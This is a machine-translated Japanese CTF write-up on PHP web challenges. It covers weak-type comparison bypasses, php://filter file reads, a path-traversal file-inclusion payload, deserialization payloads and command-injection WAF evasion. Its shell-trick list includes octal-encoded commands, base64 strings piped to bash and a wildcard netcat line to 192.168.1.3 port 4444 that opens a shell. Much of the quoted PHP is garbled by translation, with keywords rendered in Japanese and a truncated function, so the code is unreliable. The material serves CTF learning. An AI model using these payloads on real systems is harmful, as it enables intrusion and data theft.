コード監査
甘い判断
タイトル:世界を攻撃して守る
<?php ハイライト_ファイル(__FILE__); $key1 = 0; $key2 = 0; $a = $_GET['a']; $b = $_GET['b']; if(isset($a) && intval( $a) > 6000000 && strlen($a) <= 3){ //a の値は 600 万を超え、最大長は 3 です-->科学的表記法 //b の md5 の最後の 6 桁は等しいto 8b184b if(isset($ b) && '8b184b' === substr(md5($b),-6,6)){ $key1 = 1; }else{ die("うーん...もう一度考えてください") ; } }else{ die ("Emmm..."); } $c=(array)json_decode(@$_GET['c']); //配列 c を渡し、key=m の値は a ではありません数値であり、2022 より大きいです-->m :2023a if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){ /* キーnで値を判定するには、nが配列、値の数が2、nの最初の値が配列である必要があります"\n"; 配列である必要があります。つまり、 "n":[[],xxx] */ $d = array_search("DGGJ", $c["n"]);//n: DGGJ が含まれている必要があります。そうでない場合は、直接 die() $d === false?die("no..."):NULL; foreach($c["n"] as $key=>$val){//配列に DGGJ が含まれているかどうかをループして確認し、含まれている場合は die () 直接。 $val==="DGGJ"?die("いいえ......"):NULL; } $key2 = 1; }else{ die("ハックなし"); } }else{ die("いいえ" ); } if ($key1 && $key2){//key1 と key2 が両方とも 1 の場合、フラグを取得します include "Hgfks.php"; echo "You're right"."\n"; echo $flag; } ? > うーん…
弱い型指定言語では、変数のデータ型に制限がなく、変数を他の型の変数に代入したり、変数を他の型のデータに変換したりできます。
数値と文字列を比較する場合、または数値コンテンツを含む文字列を比較する場合、文字列は数値に変換され、比較は数値として実行されます。
緩やかな比較では、任意の文字列が true に等しくなります。
1 == "1admin";//true 0 == "admin1";//true 1 == "adm1in";//false 0 == "adm1in";//true //文字列で false と null を使用した場合配列の比較はどうなるでしょうか? //int 型には変換されないので、結果は次のようになります。 in_array(null, ['a', 'b', 'c']) //false in_array(false, ['a', 'b ', 'c']) //false //また奇妙な現象があります: in_array('a', [true, 'b', 'c']) // true array_search('a', [true, 'b ', 'c']) // int(0) //緩やかな比較では、どの文字列も true に等しいためです。
?a=6e9&b=53724&c={"m":"2023a","n":[[],0]}
分析:
- 6e9 科学表記法は 600 万を超えます
- md5 値 53724 の最後の 6 桁は 8b184b です。
- c[]は配列です
c["m"]=="2023a"
2023 より大きく、数値ではありません- c[] には、次の条件を満たす 2 つのキーと値のペアがあります。
count($c["n"]) == 2
c["n"]==[[],0]
満足するis_array($c["n"][0]
c["n"]==[[],0]
0 は満たすことができ$d = array_search("DGGJ", $c["n"]);
、0 は「DGGJ」に一致します
その他の弱いタイプ
jsonバイパス
<?php if (isset($_POST['message'])) { $message = json_decode($_POST['message']); $key ="*********"; if ($message->key == $key) { echo "フラグ"; }else { エコー「失敗」; } }else{ エコー "~~~~"; } ?>
json_decode() 関数はパラメータを配列に復号化し、それらがキーの値と等しいかどうかを判断します。キーの値がわからないため、このメソッドを使用してキーをバイパスできます0=="admin"
。
array_search バイパス
$c=(array)json_decode(@$_GET['c']); if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){ if(is_array(@$c["n"]) && count($c ["n"]) == 2 && is_array($c["n"][0])){ $d = array_search("DGGJ", $c["n"]); $d === false?die("いいえ..."):NULL; foreach($c["n"] as $key=>$val){ $val==="DGGJ"?die("no...."):NULL; $ key2 = 1; }else{ die("ハックなし"); } }else{ die("いいえ"); }
公式マニュアルの array_search の概要
混合配列検索 (混合 $needle , array $haystack [, bool $strict = false ] )
- $needle - 必須
- $haystack - 必須
- $strict—オプション: デフォルトは false です。true に設定すると、厳密なフィルタリングが実行されます。
機能: この関数は、$haystack の値が $needle に存在するかどうかを判断し、存在する場合は値のキーを返します。
strcmp バイパス
<?php $password="***************" if( isset($_POST['password']) ){ if(strcmp($_POST['password'], $パスワード) == 0) { echo "そうです!!!ログイン成功"; 出口(); } else { echo "パスワードが違います.."; } ?>
strcmp() は 2 つの文字列を比較し、等しい場合は 0 を返します。
$password の値がわかりません。strcmp によって判断される受け入れられた値は、$password と等しい必要があります。strcmp によって渡される予期される型は文字列型です。password[]=xxx を渡すことでこれを回避できます。
ファイルの内容
php://フィルター
文字列.rot13
string.rot13 は文字列に対して ROT13 変換を実行します。ROT13 エンコーディングは、アルファベット以外の文字を無視して、現在の文字をアルファベットの 13 番目の文字に置き換えるだけです。
php://filter/string.rot13/resource=flag.php
文字列.to lower
文字列を小文字に変換する
php://filter/string.strip_tags/resource=flag.php
string.strip_tags
string.strip_tags は、文字列から HTML タグと PHP タグを取り除き、ヌル文字、HTML タグ、および PHP タグを削除した指定された文字列 str を返そうとします。
php://filter/string.strip_tags/resource=flag.php
変換.base64-エンコード&変換.base64-デコード
php://filter/convert.base64-encode/resource=flag.php
Convert.quoted-printable-encode と Convert.quoted-printable-decode
印刷可能な文字に変換する
php://filter/convert.quoted-printable-encode/resource=flag.php
変換.アイコン*
このフィルターを使用するには、PHP が iconv をサポートする必要があります。iconv はデフォルトでコンパイルされます。
Convert.iconv.* フィルターを使用することは、関数を使用してすべてのストリーム データを処理することと同じですiconv()
。
Convert.iconv.<入力エンコーディング>.<出力エンコーディング> Convert.iconv.<入力エンコーディング>/<出力エンコーディング>
UCS-4* UCS-4BE UCS-4LE* UCS-2 UCS-2BE UCS-2LE UTF-32* UTF-32BE* UTF-32LE* UTF-16* UTF -16BE* UTF- 16LE* UTF-7 UTF7-IMAP UTF-8* ASCII* EUC-JP* SJIS* eucJP-win* SJIS-win*
例: コンテンツを UCS-2LE エンコーディングから UCS-2BE エンコーディングに変換します。
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
zlib.deflate
php://filter/zlib.deflate/resource=flag.php
zlib.inflate
php://filter/zlib.deflate|zlib.inflate/resource=flag.php
準備し始める
質問リンク: Attack and Defense World
<?phphighlight_file (__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//ホワイトリスト if (! isset($page) || !is_string($page)) { echo "表示されません";//渡されるページは文字列でなければなりません return false; } if (in_array($page) , $whitelist)) {//ページがホワイトリストにある場合、return 1 return true; } $_page = mb_substr(//文字列切り捨て関数 $page, 0, mb_strpos($page . '?','?')//ページ内で最初の「?」が表示される位置を返します。 );//要約すると、最初の質問の前の値マークは $_page 変数に割り当てられます if (in_array($_page, $whitelist)) { return true; } // $_page がホワイトリストにある場合、1 を返す $_page = urldecode($page); // ページの URL をデコードして $ に割り当てる_page $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ) ; //関数は上記と同じです if (in_array($_page, $whitelist)) { //_pageホワイトリストに存在する必要があるだけです (つまり、2 つの疑問符の間の内容がホワイトリストにある限り、true が返されます) return true ; } echo "表示されません"; return false ; } } if ( !空($_REQUEST['ファイル']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])//checkfile 戻り値1 ) { include $_REQUEST['file']; 出口; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
最初のチェック: ページがホワイトリストに含まれている場合は、直接 1 を返します。
2 番目のチェック: まずページの末尾に疑問符を追加し、次に最初の疑問符の前のコンテンツを $_page 変数に割り当てて、ホワイトリストに含まれているかどうかを確認し、含まれている場合は 1 を返します。
3 番目のチェック: ページの URL をデコードし、最後に疑問符を追加し、最初の疑問符の前のコンテンツを $_page に割り当てます。次に、ホワイトリストに含まれているかどうかを確認し、含まれている場合は 1 を返します。
1 が返された場合は、include() 関数を入力し、ファイル インクルードの脆弱性を使用してフラグを取得します。
hint.php により、フラグが ffffllllaaaagggg であることが示されました。
/?file=hint.php?ffffllllaaaagggg
ここで、2 番目のチェックに入ると 1 が返され、 include() 関数を入力できますが、現時点ではフラグ ファイルがどのディレクトリにあるかはわかりません。レイヤーごとに見つける必要があります。最終的なペイロード: /?file=hint.php? ../../../../../ffffllllaaaagggg
注: include() 関数は、パスに ../ がある場合、他のファイルを考慮しないため、このフラグ ファイルのみが最終的にインクルードされます。
逆シリアル化
一般的な魔法の方法
- __construct()
クラスがインスタンス化されると自動的に呼び出されます
- __distruct()
クラスが破棄されると自動的に呼び出されます
- __電話()
アクセスできないメソッドまたは存在しないメソッドを呼び出すときに自動的に呼び出されます (例外をスローする場合と同様)
- __callStatic()
アクセスできない、または存在しない静的メソッドを呼び出すときに自動的に呼び出されます。
- __得る()
アクセスできないプロパティまたは存在しないプロパティにアクセスするときに自動的に呼び出されます (例外をスローするのと同様)
- __セット()
アクセスできない属性または存在しない属性に値を割り当てるときに自動的に呼び出されます。最初のパラメータは割り当てられる属性の名前を自動的に取得し、2 番目のパラメータは値を自動的に取得します。
- __isset()
このメソッドは、アクセスできない属性または存在しない属性に対して isset() または empty() が判定された場合に自動的に呼び出されます。
- __unset()
このメソッドは、アクセスできない属性または存在しない属性に対して unset() が判定された場合に自動的に呼び出されます。
- __寝る()
Serialize() をシリアル化するときに自動的に呼び出されます。
- __起きろ()
unserialize() が実行されると自動的に呼び出されます
- __toString()
オブジェクトが文字列として使用されるときに自動的に呼び出されます
- __invoke()
オブジェクトが関数メソッドで呼び出される場合、そのメソッドは自動的に呼び出されます (例外をスローすることと同様です)。
- __set_state()
このメソッドはクラスをエクスポートするときに自動的に呼び出され、パラメータ 1 によって array('property'=>value,...) の形式で配置されたクラスのプロパティが自動的に取得されます。
- __デバッグ情報()
var_dump() を使用してオブジェクトを読み取ると、マジック メソッドがトリガーされます。
- __unserialize()
- __シリアライズ()
クラスに __unserialize() と __wakeup() の両方がある場合、 __unserialize() の内容は実行されますが、 __wakeup() は実行されません
- __クローン()
clone() メソッドは、オブジェクトがコピーされるときに自動的に呼び出されます。
ネット三脚カップ
<?php include("flag.php"); height_file(__FILE__); class FileHandler { protected $op;//protected protected 修飾子、保護クラスとして定義されたクラス メンバーは、それ自体、そのサブクラス、および親クラス アクセスによって保護できます。 protected $filename; protected $content; function __construct() {//Constructor $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); //->オブジェクトはクラスの関数を呼び出します } public function process() {//プロセスメソッド if($this->op == "1") { $this->write();//if 書き込みを実行しますfunction if op=1 } else if($this->op == "2") {//これは弱い比較であることに注意してください $res = $this->read(); // op=2 の場合、読み取り関数を実行します関数は値の割り当て res 操作を完了し、$res を出力関数に入力します。 $this->output($res); } else { $this->output("Bad Hacker!"); } } プライベート関数 write() { if(isset($this->filename) && isset($this- >content))//ファイル名とコンテンツが空かどうかを判断します { if(strlen((string)$this->content) > 100) {//コンテンツの長さが 100 より大きいかどうかを判断します $this->output("長すぎます! "); die(); } $res = file_put_contents($this->filename, $this->content);//file_put_contents はファイルに文字列を書き込みます if($res) $this->output("成功しました!"); else $this->output("失敗!"); } else { $this->output("失敗しました!"); } } プライベート関数 read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function Output($s) {//出力関数 echo "[Result]: <br>"; echo $s; } function __destruct() {//Destructor この関数は、クラスのオブジェクトが削除されると自動的に呼び出されます。 if($this->op === "2")//これは強力な比較であることに注意してください $this->op = "1";//op に 1 を代入 $this->content = "";//コンテンツは空になります $this->process(); } } function is_valid($s) { if(! if(isset($_GET{'str'})) { $str = (文字列)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
コード実行プロセス
注: __construct() 関数は自動的に呼び出されませんが、__distruct() は自動的に呼び出されます。
is_valid() すべての文字の ASCII コードは範囲 [32, 125] でなければなりません -->unserialize()-->__distruct() op が文字列 2 と等しい場合、それを文字列 1 に変更します -->process() let op 文字列 2 と等しい場合、ファイルを読み取ることができます-->read()-->file_get_contents()
アイデア
明らかに最も重要な点は、実際には __distruct() と process() による op の検査です。
しかし、__distruct() は op の強い型チェックであるのに対し、process() は弱い型チェックであることに気づきました。__distruct() の文字列 2 と等しくなく、process() の文字列 2 と等しくしたいのです。
次に、強い型と弱い型の比較を使用して、op を数値 2 と等しくすることができます。これは、数値 2 が (__distruct() 内で) 文字列 2 と強く等しくなく、数値 2 が文字列 2 と弱く等しいためです。
ただし、保護型属性のシリアル化後には印刷できない文字が存在することに注意してください。%00*%00 文字が存在します。%00 文字の ASCII コードは 0 であるため、上記の is_valid() 検証に合格できません。 . %00 文字 ASCII コードは 0 なので表示されません 変数の前に * が追加されます。
<?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content; //destruct 関数はコンテンツを空に変更するため、コンテンツの値は任意です (ただし、is_valid を満たす必要があります) () 関数の要件) } $a = new FileHandler(); $b = Serialize($a); echo $b; ?>
最終ペイロード
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"ファイル名";s:8:"flag.php";s:7:"コンテンツ";N ;}
江蘇職人杯
<?php classease{ private $method; private $args; //変数に値を割り当て、渡されたパラメータをメソッドと引数に順番に割り当てます function __construct($method, $args) { $this->method = $ Method; $this->args = $args; } //関数を破棄します。メソッドの値が ping の場合は、パラメータ args を指定してこの ping() 関数を呼び出します function __destruct(){ if (in_array($this->method , array ("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } // exec () コマンドの実行、つまり、args をコマンドとして使用して、 execute function ping( $ip){ exec($ip, $result); var_dump($result); } //多くの文字がフィルタリングされます function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $ str ; } else { echo "ハッキングしない"; } } //逆シリアル化の魔法の方法、受信データの文字ごとのブラックリスト比較 function __wakeup(){ foreach($this->args as $k => $v) { //=>リンクのキーと値のペア、k はキー、v は値 $this->args[$k] = $this->waf($v); } } } $ ctf = @ $_POST[ 'ctf']; //バックグラウンドの逆シリアル化で Base64 デコード プロセスがあることがわかります。したがって、エンコードしてから POST する必要があります @unserialize(base64_decode($ctf)); ?>
コード実行プロセス
文字列 ctf-->base64 decoding-->__construct()-->__wakeup()-->waf()-->unserialize()-->__destruct()-->call_user_func_array()-->exec を渡します。 ()
関数学習
- exec(command,array): 外部プログラムの実行、つまり受信コマンドの実行に使用され、実行結果を配列に格納します。
- var_dump(): 変数の型と長さを決定し、変数の値を出力するために使用されます。
- call_user_func_array():
(1) call_user_func_array (文字列, 配列) グローバル関数コールバック: 文字列は呼び出される関数の名前を表し、配列は呼び出される関数に順番に渡されるパラメータのリストです。
(2) call_user_func_array(array(class_name,function_name),value) クラスの静的メソッドのコールバック:
class_name と function_name は配列を形成します。これらはそれぞれクラス名とその関数名であり、value は引き続きパラメーター リストです。
アイデア: 最終的な目標は、指定したコマンドをページに実行させることです。つまり、exec() 関数が最終的に有効になる必要があります --> ping() を呼び出す必要があります --> call_user_func_array() を使用する必要があります --> を渡す必要がありますメソッド ping と必要なコマンドを引数とするシリアル化されたオブジェクト。要約すると、次の操作を分類するのは難しくありません。
1. イーズをインスタンス化し、パラメーターのタイプを決定し、シリアル化し、テストのために Base64 に渡します。
2. テストは効果的で、アイデアが正しいことが証明されました。次に、危険なコードを入力する方法、つまり WAF をバイパスする方法を見つける必要があります。
ペイロードの生成
<?php $a = array('a'=>'l""s${IFS}f""lag_1""s_here'); $payload = new easy("ping",$a); $result = シリアル化($ペイロード); エコーbase64_encode($result); ?>
文字フィルタリングをバイパスする方法
- ${Z} を挿入
- 「」ヌル文字を挿入する
空白フィルタリングをバイパスする方法
Linux下で
- {猫、旗.txt}
- cat${IFS}flag.txt
- 猫$IFS$9flag.txt
- 猫<フラグ.txt
- 猫<>フラグ.txt
- kg=$'\x20flag.txt'&&cat$kg
(\x20 は文字列に変換されスペースになりますが、変数を使用することで巧妙に回避されます)
窓の下
(実用性はあまり広くないので、typeコマンドのみ使用可能)
- type.\flag.txt
- タイプ、フラグ.txt
- エコー、123456
見つかった配列(1) { [0]=> 文字列(25) "flag_831b69012c67b35f.php" }
パスは取得できましたが、直接アクセスすると空白でcatが必要ですが、文字列は回避できるのですが、「/」を回避するにはどうすればよいでしょうか?
新しい知識: Linux では Unicode エンコードをコマンドとして実行できる
8 進数\154-->10 進数 108-->ASCII コード-->文字 I
コマンドを8進数に変換して渡します。
コマンドは 8 進数の C 言語コードに変換されます。
#include <stdio.h> int main(){ char site[]="cat flag_1s_here/flag_831b69012c67b35f.php"; for(int i = 0; i < サイトのサイズ / サイトのサイズ[0]; i++ ){ printf("\\%o",site[i]); 0を 返します。 }
答えが得られました:\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
最終ペイロード
$a = array('a'=>'$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');
実行時には、まず printf が実行され、元のコマンド (この時点でブラックリストと比較されている) が復元され、フラグが取得されます。
バイパスフィルタリング
猫などのキーワードをフィルタリングする
- c""at fl''ag.tx""t
- c\at fl\at.tx\t
- ca$1t fl$1ag.t$1xt
フィルタースペース
- ${IFS}
- <>
- %09 (PHP 環境にのみ適用)
ブラックリストのバイパス
- シェル変数を使用したスプライシング
a=c;b=at;c=fl;d=ag;e=.txt;$a$b $c$d$e;
- バッククォートを使用して、base64 エンコードされたコマンドをラップします。
`echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d`
- Base64でエンコードされたコマンドをbashに渡します
echo "Y2F0IGZsYWcudHh0Cg==" | base64 -d | bash
ワイルドカードのバイパス
/???
/
ディレクトリ内で 3 文字の長さのファイルを検索します。通常の状況では、それらのファイルが見つかり/bin
、/?[a][t]
最初に一致します/bin/cat
。cat コマンドが正常に呼び出され、その後、通常のワイルドカードを使用してファイルを一致させることができます。 txt ファイル名の長さは 8 です。8 個の「?」を使用すると、このコマンドは長さが 8 のすべてのファイルを読み取ります。
/???/?[a][t] ?''?''?''?''?''?''?''?
/???/[m][o]?[e] ?''?''?''?''?''?''?''?
シェルを起動することもできます。
/???/[n]?[t]??[t] 192.168.1.3 4444
長さのバイパス
>> を使用して、コマンドの一部を一度にファイルに追加します
echo -n "cmd1" > r;echo -n "cmd2" >> r;echo -n "cmd3" >> r;echo "cmd4" >> r;
次に、cat r | bash
それを使用して実行します
改行または ls -t を使用して実行します。
ca\t flag.t\xt
sh a を使用してコマンド cat flag.txt を実行します。
ls -t は、作成時の逆順でファイル名を出力できます。
だから、それはあり得る> "ag"> "fl\\"> "t \\"> "ca\\"
そして使用しますls -t>s
このとき、sのファイルの内容は、sca\t \fl\ag\
復号化
質問リンク: Attack and Defense World
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ $_o=strrev($str);//文字列を反転します for($_0=0;$_0<strlen($_o);$_0++ ) {//文字列内の各文字 $_c=substr($_o,$_0,1); $__=ord($_c)+1;//ascii で右に 1 ビット シフト $_c=chr($ __ ); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_)));//base64 エンコード } ハイライト_ファイル(__FILE__); ?>
暗号化プロセス:
逆方向-->右シフト 1-->base64-->逆方向-->左シフト 13 またはstrrev(右移(base64(strrev(str_rot13(明文)))))
復号化するときは、外側の括弧から開始してレイヤーごとに復号化する必要があることに注意してください。
復号化:
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; 関数デコード($str){ $_o=base64_decode(strrev(str_rot13($str))); for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_=$_.$_c; strrev($_)を返します ; エコー デコード($miwen); ?>
出力フラグには非表示の文字が含まれている可能性がありますので、送信が間違っている場合は、再度入力して送信してください。